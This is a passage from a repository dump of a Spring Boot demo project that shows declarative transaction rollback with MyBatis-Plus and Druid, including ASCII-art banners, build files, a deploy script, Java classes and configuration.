::.\n###KW#WEW##WDDfKEW#WDLLDKKDKEWWKWW#K#W#K#KKWKKKWW#K#KK###W#W#K#W#KK#W##W#EKDKKEEKKKKK#KWWEDKWWW##WEDDGDGGDGDGGGDGDGDDDDEEKKKKKKD,.;:..: .......tjfGDD,....:: :.....: ....: :.:  : ..\n#WW#KWWDK#KWDDLD#W#EDfDDKWEWEKK#W#K##K#EWKWKK#KWWKW#KW#W#W###KKWWWW##W##WWEKDEEWKKKW#W#EKDEE###W#WKDGDGGGDGGDGGGDGDGDEEEEEKKEEKDf,,:.:.:. ... ,jjLDDf ::... :.:....:.:.:...:..::....\n#K####WD#E#EDDLEW#WEDfGEWEWEW#K##K#WW#EWKKWEWWWK##W#WW#W#WW#W#K#K###W#WKKEKDKEWK#W##W#WEDEKEW#WKWW#KDDGGDGGGGDDGGDDDDDEEKKEKEKEEEi;.:.:.. ....ijLLDD,.. :....::....:..:....:...: ::.\nW#K#WW#EK#WEDDfK#E#WDfDDWWEKKW#KW#K#WW##KWWWKWE#KWWWKK##W##W#WW#W#WWW#KKWKEKKKKKWE##W#KEDEEEKW##WWW#DGDDGDGDGGGGDGGDDDEDKEKEWEEEDL,:.:. : . .,tjfDDD :  : :: :: :: :  :  :....:: :.\n######WE#WEKDELEWW#EDfLEWKKKWW#WWWW#W#KKKKE#WKWWKW#W###W#W##WWW#K####KWEKKKKKKW##W##KKKDEKKEKWWWW#WWEDDGGGGGGDGDGDGDDEEEEKEKKEKEEDt.:.:..... tjjfEDD :  ... :  :..............  ...:\n#WWW#E#D#WEDEDLWWWWKDffKKWKK#W#WWWW##K##EWEW#K#K##W#W#W#W#WK#WEK##W#EKWEKWEW#K#WK#WKWKEEEDDEWWKWWWWWWKDDGGGGGDGDGDDDDEEEEEEEEEEEEDD :.:..:.: jjtDDDf. :.... : : :.... :  ..... ....:\nW###WW#EE#KEDDfEWWKKDfDDKKKWWK#WW#K##W#KKWWWWKKW#WWWKW#####W##W##W#KKKKKEEWWK#E##K##WWDDEDEDEWWEWWWWWKEDDGGGDGDGDGGDDEDEEKKKEEEEEED..:. . . .iijEDDj : .. ...  . .. .:  . .. .  .\n#WW###WKWWEDEDLKW#KEDfDEWKWK#W#KW#WWW#EWKKWWWWWKKK#W#W#W#K###W##W#KKKKKKKKWWWWW##W#KWEEEDEDEKKWKWWWWW#KDGDGGGGGGDGDDDDEEEEEEEEEEDEDi. :..::..jjjDDG,. . ..   : ..  : . :. ..: : : ..\nW#K#W##EWWWEDDLKWKKEDfDEEEW#KWK#WW#WK#WKWEWWWWW#WK#WWW###W#K###W###EKKW#WWE#WWWWWWWWEWDDEDDEEWKKWK#KWWWEDGGGDGDGDGDDDEDKEKEEEEKEEDDf,:. . . .tijDDf..   .. .. ..  :   .. : . . .\n#WWWW##EK#KEEDfKWKWEGfDEKKW#KKWW#K#KWWWWWEWW#E#K##K#KW###W#K#####KWEKKW#WWK##KKWKW#KKKDDDDDDDKWKKKKWW#WWDDGGDGDGGDDDDEDEEEKEEEDEDEDDL, .:...,jjGDDt : .: : ...... :  ... : ....: ..\n#W#W#W#WKKEDDDLKWW#EDfGKK#KW###WW#K#K#KKKWW#KWW#WW#K##K##K###W#W##EKKW#K#E#E#WWWWEKKWWEEDEEDEKKKKKWWKWWWEDDGGGGDDGDDDDEEEEEEKEEDEDDDDj.: ...tjDEDG,. .. . .: .: ....:.... : ... : ..\nWWW#W###EWKEDDLKKWKDDfGKKKW#WK#KWWWW#W#KWWWWEWK#WKW#KW##W###W####WWEWWW#WWE#K#WK#KWKWWEDEDEDEWKWKKKKWWWWWEDGDGGGDGDDDEEDEEEEEEDDDDEDDD.... .tDEDDD, ... :......... :  : .: :: .....\nWW###W##EWEEDDLKEWEKGfDEWW#W##WWW#KW#W#WE#WWWEW#WE#K###WK#WWK###WWEKWW#W#KWW#W#EEKKKW#WDDDDEDEKKKKKKKW#WWWWGGGGGDGDDDDEDEEEEEEDDDDDDDDj. ..;DEDDDL...:..:...:...::.........:..::..:\n##W#KW##EKWDGDfKKKKEDfDKEWWWWW#WK#K#WWWKWKW#KKK#WW#W##W#######W##WW#K##K##KW#KW#WEK#KKEEDKEDEDEWKWKWWKWKW#WDDGGGDGDDDEEEEEEEEDDDDDDDDDL,.. tEEDDDf..: ::..:: ::.::.::::..:..:..:.::.\nWWK#W###DEEEGDLEKKKKDfDEWK#K##W##W#EW#KWWW#KKW#W##WWWW##W#W#W##W#KEWKWW#KWK##W#KEEWW##KDEDDDEEDKWKWKWWWWWWWEDGDGGDDDDDEDEEEEDEDDDDDDDDGL .,tEDKDGf.:.:. :...:. :  :..:.::..: :. :...\nW#W#W###DEWEDGGEDKKEDLDKK#K#WW###W#WK#KWWW#EWW#W##W#K##WW#W#WW##WKKKKKWWWWWWK#KWKKK##KKEDEEDEEEDWKKKWKW#WWWWKDGGGDGDDDEDEEEEEDEDDDGDGDDDD.LDEEDDDj:..:::....::.:..: ::.:.... :...:.:\n#KW#WW##EEKDGDfDEKWEDLEK#K#K##W##K#KWWWWW#K#KWK###WW#W##W####W#KWE#EW##WWWW##WKKKK#WWKKDEDKKEEDEKWWWWKWKWWW#KEGGGGGDDEDEEEDEDDDDDDDDDGGGDjGDEDDDGj.:: ::.::: ::..::...: :.:::.....:\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_thymeleaf/src/main/resources/templates/index.html",
    "content": "<!DOCTYPE html>\n<html xmlns=\"http://www.w3.org/1999/xhtml\"\n      xmlns:th=\"http://www.thymeleaf.org\">\n<head>\n    <meta charset=\"utf-8\">\n    <meta name=\"viewport\" content=\"width=device-width, initial-scale=1.0\">\n    <meta name=\"renderer\" content=\"webkit\">\n    <title>首页</title>\n    <link rel=\"shortcut icon\" th:href=\"@{/favicon.ico}\"/>\n    <link th:href=\"@{/static/css/bootstrap.min.css}\" rel=\"stylesheet\"/>\n    <link th:href=\"@{/static/css/font-awesome.min.css}\" rel=\"stylesheet\"/>\n</head>\n<body class=\"fixed-sidebar full-height-layout gray-bg\" style=\"overflow:hidden\">\n<div id=\"wrapper\">\n    <h1 th:text=\"${msg}\"></h1>\n</div>\n<script th:src=\"@{/static/js/jquery.min.js}\"></script>\n<script th:src=\"@{/static/js/bootstrap.min.js}\"></script>\n<script>\n</script>\n\n</body>\n</html>"
  },
  {
    "path": "jun_springboot_plugin/springboot_transaction/.gitignore",
    "content": "# 此为注释– 将被Git 忽略\n# /结尾表示是目录，忽略目录和目录下的所有件\n# /开头表示根目录，否则是.gitignore的相对目录\n# !开头表示反选\n.idea/\ntarget/\n*.iml\n*.ipr\n*.iws\n*.log\n.svn/\n.project\nrebel.xml\n.rebel-remote.xml.*\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_transaction/README.md",
    "content": "## SpringBoot Transaction演示项目\n\n基于注解的声明式事务\n\n## 测试方法\n\n启动应用后访问/errorUpdate和/errorUpdate2，对于出现异常的Service方法，数据库会回滚。\n\n## 许可证\n\nCopyright (c) 2018 Xiong Neng\n\n基于 MIT 协议发布: <http://www.opensource.org/licenses/MIT>\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_transaction/pom.xml",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<project xmlns=\"http://maven.apache.org/POM/4.0.0\"\n         xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\"\n         xsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd\">\n    <modelVersion>4.0.0</modelVersion>\n\n    <groupId>io.github.wujun728</groupId>\n\t<artifactId>springboot_transaction</artifactId>\n\t<version>1.0</version>\n    <packaging>jar</packaging>\n\n    <description>SpringBoot Transaction演示</description>\n\n    <parent>\n        <groupId>org.springframework.boot</groupId>\n        <artifactId>spring-boot-starter-parent</artifactId>\n        <version>2.5.14</version>\n    </parent>\n\n    <properties>\n        <project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>\n        <project.reporting.outputEncoding>UTF-8</project.reporting.outputEncoding>\n        <java.version>1.8</java.version>\n\t\t<druid.version>1.1.2</druid.version>\n        <mysql-connector.version>8.0.7-dmr</mysql-connector.version>\n        <mybatis-plus.version>2.1.8</mybatis-plus.version>\n        <mybatisplus-spring-boot-starter.version>1.0.5</mybatisplus-spring-boot-starter.version>\n    </properties>\n\n    <dependencies>\n        <dependency>\n            <groupId>org.springframework.boot</groupId>\n            <artifactId>spring-boot-starter-web</artifactId>\n            <exclusions>\n                <exclusion>\n                    <groupId>org.springframework.boot</groupId>\n                    <artifactId>spring-boot-starter-tomcat</artifactId>\n                </exclusion>\n            </exclusions>\n        </dependency>\n        <dependency>\n            <groupId>org.springframework.boot</groupId>\n            <artifactId>spring-boot-starter-jetty</artifactId>\n        </dependency>\n\t\t<dependency>\n            <groupId>org.springframework.boot</groupId>\n            <artifactId>spring-boot-starter-jdbc</artifactId>\n        </dependency>\n        <dependency>\n            <groupId>mysql</groupId>\n            <artifactId>mysql-connector-java</artifactId>\n            <version>${mysql-connector.version}</version>\n            <scope>runtime</scope>\n        </dependency>\n        <dependency>\n            <groupId>com.alibaba</groupId>\n            <artifactId>druid</artifactId>\n            <version>${druid.version}</version>\n        </dependency>\n        <!-- MyBatis plus增强和springboot的集成-->\n        <dependency>\n            <groupId>com.baomidou</groupId>\n            <artifactId>mybatis-plus</artifactId>\n            <version>${mybatis-plus.version}</version>\n        </dependency>\n        <dependency>\n            <groupId>com.baomidou</groupId>\n            <artifactId>mybatisplus-spring-boot-starter</artifactId>\n            <version>${mybatisplus-spring-boot-starter.version}</version>\n        </dependency>\n    </dependencies>\n\n    <build>\n        <plugins>\n            <plugin>\n                <groupId>org.apache.maven.plugins</groupId>\n                <artifactId>maven-compiler-plugin</artifactId>\n                <version>3.6.1</version>\n                <configuration>\n                    <!--<proc>none</proc>-->\n                    <source>1.8</source>\n                    <target>1.8</target>\n                </configuration>\n            </plugin>\n            <plugin>\n                <groupId>org.apache.maven.plugins</groupId>\n                <artifactId>maven-surefire-plugin</artifactId>\n                <version>2.20</version>\n                <configuration>\n                    <skip>true</skip>\n                </configuration>\n            </plugin>\n            <plugin>\n                <groupId>org.springframework.boot</groupId>\n                <artifactId>spring-boot-maven-plugin</artifactId>\n                <executions>\n                </executions>\n            </plugin>\n        </plugins>\n\n        <resources>\n            <resource>\n                <directory>src/main/resources</directory>\n            </resource>\n            <resource>\n                <directory>src/main/java</directory>\n                <includes>\n                    <include>**/*.xml</include>\n                </includes>\n            </resource>\n        </resources>\n    </build>\n\n</project>\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_transaction/run.sh",
    "content": "#!/bin/bash\n# 项目自动更新脚本\n# 先clone相应的分支下来：\n# git clone ssh://git@120.24.173.142:7999/xxx.git\n# 远程调试启动：\n# nohup java -agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=5005 -Xms512m -Xmx1024m -jar -Dspring.profiles.active=${profile} ${jarfile} >/dev/null 2>&1 &\n\nfunction start {\n    profile=\"$1\"\n    echo \"启动环境profile=${profile}\"\n    jarfile=$(ls target/*.jar)\n    if [[ \"$?\" == \"0\" ]]; then\n        stop $profile $jarfile\n    fi\n    branch=$(git branch |awk '{print $2}')\n    git pull origin ${branch}\n    echo \"更新完代码开始重新打包\"\n    mvn clean && mvn clean && mvn package -DskipTests=true\n    if [[ \"$?\" != \"0\" ]]; then\n        echo \"编译出错，退出！\"\n        exit 1\n    fi\n    echo \"nohup java -Xms512m -Xmx1024m -jar -Dspring.profiles.active=${profile} ${jarfile} >/dev/null 2>&1 &\"\n    nohup java -Xms512m -Xmx1024m -jar -Dspring.profiles.active=${profile} ${jarfile} >/dev/null 2>&1 &\n    echo \"启动应用中，请查看日志文件...\"\n}\n\nfunction stop {\n    profile=\"$1\"\n    jarfile=\"$2\"\n    ps aux | grep \"${jarfile}\" | grep \"spring.profiles.active=${profile}\" | grep -v grep > /dev/null\n    if [[ \"$?\" == \"0\" ]]; then\n        echo \"该应用还在跑，我先停了它\"\n        pid=$(ps aux | grep \"${jarfile}\" | grep \"spring.profiles.active=${profile}\" | grep -v grep |awk '{print $2}')\n        if [[ \"$pid\" != \"\" ]]; then\n            kill -9 $pid\n        fi\n        echo \"停止应用成功...\"\n    fi\n}\n\nif [[ \"$1\" == \"start\" ]]; then\n    if [[ \"$#\" < 2 ]]; then\n        echo \"请输入正确参数：./epay.sh start {profile}\"\n        exit 1\n    fi\n    profile=\"$2\"\n    if [[ \"$profile\" != \"dev\" && \"$profile\" != \"test\" && \"$profile\" != \"show\" && \"$profile\" != \"production\" ]]; then\n        echo \"参数错误，请输入正确的profile参数，使用方法：\"\n        echo \"./epay.sh start {profile}    ==> 启动应用，{profile}取值：dev|test|show|production\"\n        exit 1\n    fi\n    start \"${profile}\"\nelif [[ \"$1\" == \"stop\" ]]; then\n    if [[ \"$#\" < 2 ]]; then\n        echo \"请输入正确参数：./epay.sh stop  {profile}\"\n        exit 1\n    fi\n    profile=\"$2\"\n    if [[ \"$profile\" != \"dev\" && \"$profile\" != \"test\" && \"$profile\" != \"show\" && \"$profile\" != \"production\" ]]; then\n        echo \"参数错误，请输入正确的profile参数，使用方法：\"\n        echo \"./epay.sh stop {profile}     ==> 停止应用，{profile}取值：dev|test|show|production\"\n        exit 1\n    fi\n    jarfile=$(ls target/*.jar)\n    stop $profile $jarfile\nelse\n    echo \"参数错误，使用方法：{}参数是必填的，[]参数可选\"\n    echo \"./epay.sh start {profile}    ==> 启动应用，{profile}取值：dev|test|show|production\"\n    echo \"./epay.sh stop  {profile}    ==> 停止应用，{profile}取值：dev|test|show|production\"\n    exit 1\nfi\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_transaction/src/main/java/com/xncoding/trans/Application.java",
    "content": "package com.xncoding.trans;\n\nimport org.springframework.boot.SpringApplication;\nimport org.springframework.boot.autoconfigure.SpringBootApplication;\n\n@SpringBootApplication\npublic class Application {\n    public static void main(String[] args) {\n        SpringApplication.run(Application.class, args);\n    }\n\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_transaction/src/main/java/com/xncoding/trans/config/DruidProperties.java",
    "content": "package com.xncoding.trans.config;\n\nimport com.alibaba.druid.pool.DruidDataSource;\nimport com.alibaba.druid.util.JdbcConstants;\nimport org.springframework.boot.context.properties.ConfigurationProperties;\nimport org.springframework.stereotype.Component;\n\nimport java.sql.SQLException;\n\n/**\n * <p>数据库数据源配置</p>\n * <p>说明:这个类中包含了许多默认配置,若这些配置符合您的情况,您可以不用管,若不符合,建议不要修改本类,建议直接在\"application.yml\"中配置即可</p>\n *\n * @author xiongneng\n * @since 2017-05-21 11:18\n */\n@Component\n@ConfigurationProperties(prefix = \"spring.datasource\")\npublic class DruidProperties {\n\n    private String url;\n\n    private String username;\n\n    private String password;\n\n    private String driverClassName = \"com.mysql.cj.jdbc.Driver\";\n\n    private Integer initialSize = 10;\n\n    private Integer minIdle = 3;\n\n    private Integer maxActive = 60;\n\n    private Integer maxWait = 60000;\n\n    private Boolean removeAbandoned = true;\n\n    private Integer removeAbandonedTimeout = 180;\n\n    private Integer timeBetweenEvictionRunsMillis = 60000;\n\n    private Integer minEvictableIdleTimeMillis = 300000;\n\n    private String validationQuery = \"SELECT 'x'\";\n\n    private Boolean testWhileIdle = true;\n\n    private Boolean testOnBorrow = false;\n\n    private Boolean testOnReturn = false;\n\n    private Boolean poolPreparedStatements = true;\n\n    private Integer maxPoolPreparedStatementPerConnectionSize = 50;\n\n    private String filters = \"stat\";\n\n    public void config(DruidDataSource dataSource) {\n        dataSource.setDbType(JdbcConstants.MYSQL);\n        dataSource.setUrl(url);\n        dataSource.setUsername(username);\n        dataSource.setPassword(password);\n        dataSource.setDriverClassName(driverClassName);\n        dataSource.setInitialSize(initialSize);     // 定义初始连接数\n        dataSource.setMinIdle(minIdle);             // 最小空闲\n        dataSource.setMaxActive(maxActive);         // 定义最大连接数\n        dataSource.setMaxWait(maxWait);             // 获取连接等待超时的时间\n        dataSource.setRemoveAbandoned(removeAbandoned); // 超过时间限制是否回收\n        dataSource.setRemoveAbandonedTimeout(removeAbandonedTimeout); // 超过时间限制多长\n\n        // 配置间隔多久才进行一次检测，检测需要关闭的空闲连接，单位是毫秒\n        dataSource.setTimeBetweenEvictionRunsMillis(timeBetweenEvictionRunsMillis);\n        // 配置一个连接在池中最小生存的时间，单位是毫秒\n        dataSource.setMinEvictableIdleTimeMillis(minEvictableIdleTimeMillis);\n        // 用来检测连接是否有效的sql，要求是一个查询语句\n        dataSource.setValidationQuery(validationQuery);\n        // 申请连接的时候检测\n        dataSource.setTestWhileIdle(testWhileIdle);\n        // 申请连接时执行validationQuery检测连接是否有效，配置为true会降低性能\n        dataSource.setTestOnBorrow(testOnBorrow);\n        // 归还连接时执行validationQuery检测连接是否有效，配置为true会降低性能\n        dataSource.setTestOnReturn(testOnReturn);\n        // 打开PSCache，并且指定每个连接上PSCache的大小\n        dataSource.setPoolPreparedStatements(poolPreparedStatements);\n        dataSource.setMaxPoolPreparedStatementPerConnectionSize(maxPoolPreparedStatementPerConnectionSize);\n        // 属性类型是字符串，通过别名的方式配置扩展插件，常用的插件有：\n        // 监控统计用的filter:stat\n        // 日志用的filter:log4j\n        // 防御SQL注入的filter:wall\n        try {\n            dataSource.setFilters(filters);\n        } catch (SQLException e) {\n            e.printStackTrace();\n        }\n    }\n\n    public String getUrl() {\n        return url;\n    }\n\n    public void setUrl(String url) {\n        this.url = url;\n    }\n\n    public String getUsername() {\n        return username;\n    }\n\n    public void setUsername(String username) {\n        this.username = username;\n    }\n\n    public String getPassword() {\n        return password;\n    }\n\n    public void setPassword(String password) {\n        this.password = password;\n    }\n\n    public String getDriverClassName() {\n        return driverClassName;\n    }\n\n    public void setDriverClassName(String driverClassName) {\n        this.driverClassName = driverClassName;\n    }\n\n    public Integer getInitialSize() {\n        return initialSize;\n    }\n\n    public void setInitialSize(Integer initialSize) {\n        this.initialSize = initialSize;\n    }\n\n    public Integer getMinIdle() {\n        return minIdle;\n    }\n\n    public void setMinIdle(Integer minIdle) {\n        this.minIdle = minIdle;\n    }\n\n    public Integer getMaxActive() {\n        return maxActive;\n    }\n\n    public void setMaxActive(Integer maxActive) {\n        this.maxActive = maxActive;\n    }\n\n    public Integer getMaxWait() {\n        return maxWait;\n    }\n\n    public void setMaxWait(Integer maxWait) {\n        this.maxWait = maxWait;\n    }\n\n    public Integer getTimeBetweenEvictionRunsMillis() {\n        return timeBetweenEvictionRunsMillis;\n    }\n\n    public void setTimeBetweenEvictionRunsMillis(Integer timeBetweenEvictionRunsMillis) {\n        this.timeBetweenEvictionRunsMillis = timeBetweenEvictionRunsMillis;\n    }\n\n    public Integer getMinEvictableIdleTimeMillis() {\n        return minEvictableIdleTimeMillis;\n    }\n\n    public void setMinEvictableIdleTimeMillis(Integer minEvictableIdleTimeMillis) {\n        this.minEvictableIdleTimeMillis = minEvictableIdleTimeMillis;\n    }\n\n    public String getValidationQuery() {\n        return validationQuery;\n    }\n\n    public void setValidationQuery(String validationQuery) {\n        this.validationQuery = validationQuery;\n    }\n\n    public Boolean getTestWhileIdle() {\n        return testWhileIdle;\n    }\n\n    public void setTestWhileIdle(Boolean testWhileIdle) {\n        this.testWhileIdle = testWhileIdle;\n    }\n\n    public Boolean getTestOnBorrow() {\n        return testOnBorrow;\n    }\n\n    public void setTestOnBorrow(Boolean testOnBorrow) {\n        this.testOnBorrow = testOnBorrow;\n    }\n\n    public Boolean getTestOnReturn() {\n        return testOnReturn;\n    }\n\n    public void setTestOnReturn(Boolean testOnReturn) {\n        this.testOnReturn = testOnReturn;\n    }\n\n    public Boolean getPoolPreparedStatements() {\n        return poolPreparedStatements;\n    }\n\n    public void setPoolPreparedStatements(Boolean poolPreparedStatements) {\n        this.poolPreparedStatements = poolPreparedStatements;\n    }\n\n    public Integer getMaxPoolPreparedStatementPerConnectionSize() {\n        return maxPoolPreparedStatementPerConnectionSize;\n    }\n\n    public void setMaxPoolPreparedStatementPerConnectionSize(Integer maxPoolPreparedStatementPerConnectionSize) {\n        this.maxPoolPreparedStatementPerConnectionSize = maxPoolPreparedStatementPerConnectionSize;\n    }\n\n    public String getFilters() {\n        return filters;\n    }\n\n    public void setFilters(String filters) {\n        this.filters = filters;\n    }\n\n    public Boolean getRemoveAbandoned() {\n        return removeAbandoned;\n    }\n\n    public void setRemoveAbandoned(Boolean removeAbandoned) {\n        this.removeAbandoned = removeAbandoned;\n    }\n\n    public Integer getRemoveAbandonedTimeout() {\n        return removeAbandonedTimeout;\n    }\n\n    public void setRemoveAbandonedTimeout(Integer removeAbandonedTimeout) {\n        this.removeAbandonedTimeout = removeAbandonedTimeout;\n    }\n}"
  },
  {
    "path": "jun_springboot_plugin/springboot_transaction/src/main/java/com/xncoding/trans/config/MybatisPlusConfig.java",
    "content": "package com.xncoding.trans.config;\n\nimport com.alibaba.druid.pool.DruidDataSource;\nimport com.baomidou.mybatisplus.plugins.PaginationInterceptor;\nimport org.mybatis.spring.annotation.MapperScan;\nimport org.springframework.context.annotation.Bean;\nimport org.springframework.context.annotation.Configuration;\nimport org.springframework.transaction.annotation.EnableTransactionManagement;\n\nimport javax.annotation.Resource;\n\n/**\n * MybatisPlus配置\n *\n * @author xiongneng\n * @since 2017/5/20 21:58\n */\n@Configuration\n@EnableTransactionManagement(order = 2)\n@MapperScan(basePackages = {\"com.xncoding.trans.dao.repository\"})\npublic class MybatisPlusConfig {\n\n    @Resource\n    private DruidProperties druidProperties;\n\n    /**\n     * 单数据源连接池配置\n     */\n    @Bean\n    public DruidDataSource singleDatasource() {\n        DruidDataSource dataSource = new DruidDataSource();\n        druidProperties.config(dataSource);\n        return dataSource;\n    }\n\n    /**\n     * mybatis-plus分页插件\n     */\n    @Bean\n    public PaginationInterceptor paginationInterceptor() {\n        return new PaginationInterceptor();\n    }\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_transaction/src/main/java/com/xncoding/trans/controller/UserController.java",
    "content": "package com.xncoding.trans.controller;\n\nimport com.xncoding.trans.dao.entity.User;\nimport com.xncoding.trans.service.UserService;\nimport org.springframework.web.bind.annotation.RequestMapping;\nimport org.springframework.web.bind.annotation.RestController;\n\nimport javax.annotation.Resource;\n\n/**\n * Description:\n */\n@RestController\npublic class UserController {\n\n    @Resource\n    private UserService userService;\n\n    @RequestMapping(\"/errorUpdate\")\n    public Object first() {\n        User user = new User();\n        user.setId(1);\n        user.setUsername(\"admin\");\n        user.setPassword(\"admin\");\n        userService.updateUserError(user);\n        return \"first controller\";\n    }\n\n    @RequestMapping(\"/errorUpdate2\")\n    public Object second() {\n        User user = new User();\n        user.setId(1);\n        user.setUsername(\"admin\");\n        user.setPassword(\"admin\");\n        userService.updateUserError2(user);\n        return \"second controller\";\n    }\n\n\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_transaction/src/main/java/com/xncoding/trans/dao/entity/User.java",
    "content": "package com.xncoding.trans.dao.entity;\n\nimport com.baomidou.mybatisplus.activerecord.Model;\nimport com.baomidou.mybatisplus.annotations.TableId;\nimport com.baomidou.mybatisplus.annotations.TableName;\nimport com.baomidou.mybatisplus.enums.IdType;\n\nimport java.io.Serializable;\n\n@TableName(value = \"t_user\")\npublic class User extends Model<User> {\n    /**\n     * 主键ID\n     */\n    @TableId(value=\"id\", type= IdType.AUTO)\n    private Integer id;\n\n    private String username;\n\n    private String password;\n\n    public Integer getId() {\n        return id;\n    }\n\n    public void setId(Integer id) {\n        this.id = id;\n    }\n\n    public String getUsername() {\n        return username;\n    }\n\n    public void setUsername(String username) {\n        this.username = username;\n    }\n\n    public String getPassword() {\n        return password;\n    }\n\n    public void setPassword(String password) {\n        this.password = password;\n    }\n\n    @Override\n    protected Serializable pkVal() {\n        return this.id;\n    }\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_transaction/src/main/java/com/xncoding/trans/dao/repository/UserMapper.java",
    "content": "package com.xncoding.trans.dao.repository;\n\nimport com.baomidou.mybatisplus.mapper.BaseMapper;\nimport com.xncoding.trans.dao.entity.User;\n\npublic interface UserMapper extends BaseMapper<User> {\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_transaction/src/main/java/com/xncoding/trans/exception/MyException.java",
    "content": "package com.xncoding.trans.exception;\n\npublic class MyException extends RuntimeException {\n    public MyException() {\n        super();\n    }\n    public MyException(String runtime) {\n        super(runtime);\n    }\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_transaction/src/main/java/com/xncoding/trans/service/UserService.java",
    "content": "package com.xncoding.trans.service;\n\nimport com.xncoding.trans.dao.entity.User;\nimport com.xncoding.trans.dao.repository.UserMapper;\nimport com.xncoding.trans.exception.MyException;\nimport org.springframework.stereotype.Service;\nimport org.springframework.transaction.annotation.Transactional;\n\nimport javax.annotation.Resource;\n\n@Service\n@Transactional(readOnly = true)\npublic class UserService {\n    @Resource\n    private UserMapper userMapper;\n\n    public User getById(int id) {\n        return userMapper.selectById(id);\n    }\n\n    /**\n     * 增删改要写 ReadOnly=false 为可写\n     * @param user 用户\n     */\n    @Transactional(readOnly = false)\n    public void updateUserError(User user) {\n        userMapper.updateById(user);\n        errMethod(); // 执行一个会抛出异常的方法\n    }\n\n    @Transactional(readOnly = false, noRollbackFor = {MyException.class})\n    public void updateUserError2(User user) {\n        userMapper.updateById(user);\n        errMethod2(); // 执行一个会抛出自定义异常的方法\n    }\n\n    private void errMethod() {\n        System.out.println(\"error\");\n        throw new RuntimeException(\"runtime\");\n    }\n    private void errMethod2() {\n        System.out.println(\"error\");\n        throw new MyException(\"runtime\");\n    }\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_transaction/src/main/resources/application.yml",
    "content": "##########################################################\n##################  所有profile共有的配置  #################\n##########################################################\n\n###################  自定义项目配置 ###################\nxncoding:\n  kaptcha-open: true  #是否开启登录时验证码 (true/false)\n  session-open: false #是否开启session验证 (true/false)\n\n###################  项目启动端口  ###################\nserver.port: 8092\n\n###################  spring配置  ###################\nspring:\n  profiles:\n    active: dev\n  datasource:\n    url: jdbc:mysql://127.0.0.1:3306/test?serverTimezone=UTC&useSSL=false&autoReconnect=true&tinyInt1isBit=false&useUnicode=true&characterEncoding=utf8\n    username: root\n    password: 123456\n\n###################  mybatis-plus配置  ###################\nmybatis-plus:\n  mapper-locations: classpath*:com/xncoding/trans/dao/repository/mapping/*.xml\n  typeAliasesPackage: >\n    com.xncoding.trans.dao.entity\n  global-config:\n    id-type: 0  # 0:数据库ID自增   1:用户输入id  2:全局唯一id(IdWorker)  3:全局唯一ID(uuid)\n    db-column-underline: false\n    refresh-mapper: true\n  configuration:\n    map-underscore-to-camel-case: true\n    cache-enabled: true #配置的缓存的全局开关\n    lazyLoadingEnabled: true #延时加载的开关\n    multipleResultSetsEnabled: true #开启的话，延时加载一个属性时会加载该对象全部属性，否则按需加载属性\n\nlogging:\n  level:\n    org.springframework.web.servlet: ERROR\n\n---\n\n#####################################################################\n########################  开发环境profile  ##########################\n#####################################################################\nspring:\n  profiles: dev\n\nlogging:\n  level:\n    ROOT: INFO\n    com:\n      xncoding: DEBUG\n  file: D:/logs/trans.log\n\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_transaction/src/main/resources/banner.txt",
    "content": " :: :.:..... : ....: ..: ..: : : :..: ..:...:.... :..........:.... .:.: : :.::..:.:......:.:..: : :...:..:::..::.:::::::..::.:::::.::::::::::::::::::::::::::::::::::::::::::;::::::\n.::.:.:::...: ::.:.:.:.:::.::::.::.:.:.:::.:.:.::::.::::.:::.::.:.:.:::::::::::::::.::::::::::::::::::::.:::.:::::::::::::::::::::::;:;:;;;:;;:;:i::::;;,;,,;::;,i;:i;,;:;,;;,;;i:;:\n::.::: :::::::::::::::::.:::::::::::::::.:::::::::::::.::::::::::::::::::::::::::::::::::::::::::::::::::::::::::;;:;;:::::;::::::ii,;,ii,,;,,:ii:ii,;::i:ii:i;,;;,i:,;,:i:::;,,;,,:\n::::.::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::;:::;;:::::::::::::::::;::::::;::::::::;:::;::::::i:,;:::;,;:;i:;,,;i;i:i,;,;,:,;,::,;;,;,:,;:;,,;i:;,;::i:,;,,;:;,\n:;;:;;:,i:,;:;::i:i:;:,;,,ii,,:;;,:i,;,,;,,i:,:::;:i::,;::,;,:,::i;,;::;:::::,:;:,::::,::i;:,::::::,:,:,,:ii:i::i:,;,;,:::;:;:;i:i;ii:i;,i;,;:::,:,::,::i:i:,::;,i,;ii;,,::;,:::i:i:\n;ii:,:,;;,;,,:,:;,:,:,::ii;,;:i::;::,:::::::;::,;:,;,:i:,;:::;:i::::::::::::::;,;,;;:::;:::::,::;:::::;,:i::i:;,::::;::::::,::,:i:iiiiiiiiii::i:::;:;:::::::;::i:,;i,i:i:i:,;:::::::\n,;;:;,;::;:::;:i::::::,;::i:i;::::,::;,::::,:::::;:i::;,:::;iifffjiii;i:::::i:,;;:,,:::,::::::::::::::::;,;;,;:;:,;,:;,::::;i:;;:iiiiii,i:,;::::;,:,:::;,;,:,:;,;;ii;,;i;::;::,:i:::\n,i:i::::::::::::::::,::i:i;;ii::;::,::::::::,::::;:i:;,;ijffLffffGGGDDLGfii;;:,;:i::::::;::::::::::::;::;:i;,;:;::;::::::,;:i:;;i:i:iii,;ii:,;::::,:;::::,:;::;,;;,;ii:i;,:;:;::::::\n:ii:;;:,:;,:::::,;,:::::iiiii;,;,:;:i::::::::;::;;,;ii;ifGLGGLGDGGGDDEDGffijiiii;::;:::::::::::::::::,:;:,::::,:,:::,;:::::,::,i:i,ii;;i,;;,;:,::;::::::;:::,;:,;i:i:,;,,;:,:,:;::::\ni;;,:::::::::::::::::::i::i:ii:,::::::::::;:::,;:iii;if